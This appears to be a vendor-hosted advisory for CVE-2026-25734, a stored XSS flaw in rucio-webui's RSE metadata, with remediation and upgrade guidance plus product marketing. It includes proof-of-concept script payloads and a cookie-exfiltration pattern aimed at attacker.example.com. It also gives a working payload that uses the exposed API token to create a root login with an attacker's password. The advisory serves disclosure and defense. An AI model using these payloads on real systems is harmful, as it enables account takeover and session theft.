CVE-2026-25734

CVE-2026-25734 is a medium-severity cross-site scripting (XSS) vulnerability in rucio-webui (pip), affecting versions < 35.8.3. It is fixed in 35.8.3, 38.5.4, 39.3.1.

Summary

A stored Cross-site Scripting (XSS) vulnerability was identified in the RSE metadata of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions.

Details

Several metadata fields accept arbitrary input which is stored and later rendered unsafely in the WebUI when the RSEs are listed in the RSE Management dashboard.

Create Path:
Admin > RSE Management

Trigger Paths:
Admin > RSE Management
Admin > RSE Management > RSE NAME

Vulnerable Attributes:
City, Country_Name, ISP

Request

POST /proxy/rses/XSSTEST HTTP/1.1
...
{"city":"<script>alert('CITY XSS')</script>","country_name":"<script>alert('COUNTRY XSS')</script>","ISP":"<script>alert('ISP XSS')</script>","deterministic":false,"volatile":false,"staging_area":false}

Response

HTTP/1.1 201 CREATED
...
Created

Stored XSS payload triggering in RSE listing after adding XSS payload in metadata

Remediation / Mitigation

All client-side renderings of server-provided or user-controlled data must ensure proper HTML escaping before insertion into the DOM. Unsafe methods such as .html() should be avoided unless the content is explicitly sanitized. Safer alternatives include .text(), creating text nodes, or using a templating system that enforces automatic escaping.

Additional defense-in-depth measures include:

  • Enforcing a strict Content Security Policy (CSP).
  • Setting the HttpOnly flag on session cookies.
  • Avoiding exposure of API tokens in JavaScript-accessible variables.

Note that many pages were found setting the API token as token in an authenticated response like var token = "root-root-webui-...:" (See /ui/list_accounts for example)

Resources

Impact

Any authenticated user who views affected resources may execute attacker-controlled JavaScript in the WebUI origin. Depending on the affected feature, this may impact all users or administrative users only.

The impact is amplified by:

  • Session cookies that are accessible to JavaScript (missing HttpOnly flag).
  • API tokens exposed to the WebUI via JavaScript variables.

An attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e GET https://attacker.example.com/rucio/{BASE64_COOKIE}).

Attackers can also perform actions as the victim like creating a new UserPass identity with an attacker known password, creating/deleting an RSE, or exfiltrating data.

XSS Payload to Create Root UserPass

<img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'[email protected]','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()>

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2026-25734 has a CVSS score of 6.1 (Medium). The vector is network-reachable, high privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (35.8.3, 38.5.4, 39.3.1); upgrading removes the vulnerable code path.

Affected versions

rucio-webui (< 35.8.3) rucio-webui (>= 36.0.0rc1, < 38.5.4) rucio-webui (>= 39.0.0rc1, < 39.3.1)

Security releases

rucio-webui → 35.8.3 (pip) rucio-webui → 38.5.4 (pip) rucio-webui → 39.3.1 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Upgrade the following packages to resolve this vulnerability:

rucio-webui to 35.8.3 or later; rucio-webui to 38.5.4 or later; rucio-webui to 39.3.1 or later

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-25734? CVE-2026-25734 is a medium-severity cross-site scripting (XSS) vulnerability in rucio-webui (pip), affecting versions < 35.8.3. It is fixed in 35.8.3, 38.5.4, 39.3.1. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
  2. How severe is CVE-2026-25734? CVE-2026-25734 has a CVSS score of 6.1 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of rucio-webui are affected by CVE-2026-25734? rucio-webui (pip) versions < 35.8.3 is affected.
  4. Is there a fix for CVE-2026-25734? Yes. CVE-2026-25734 is fixed in 35.8.3, 38.5.4, 39.3.1. Upgrade to this version or later.
  5. Is CVE-2026-25734 exploitable, and should I be worried? Whether CVE-2026-25734 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-25734 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-25734?
    • Upgrade rucio-webui to 35.8.3 or later
    • Upgrade rucio-webui to 38.5.4 or later
    • Upgrade rucio-webui to 39.3.1 or later

Other vulnerabilities in rucio-webui

CVE-2026-25736CVE-2026-25735CVE-2026-25734CVE-2026-25733CVE-2026-25138

Stop the waste.
Protect your environment with Kodem.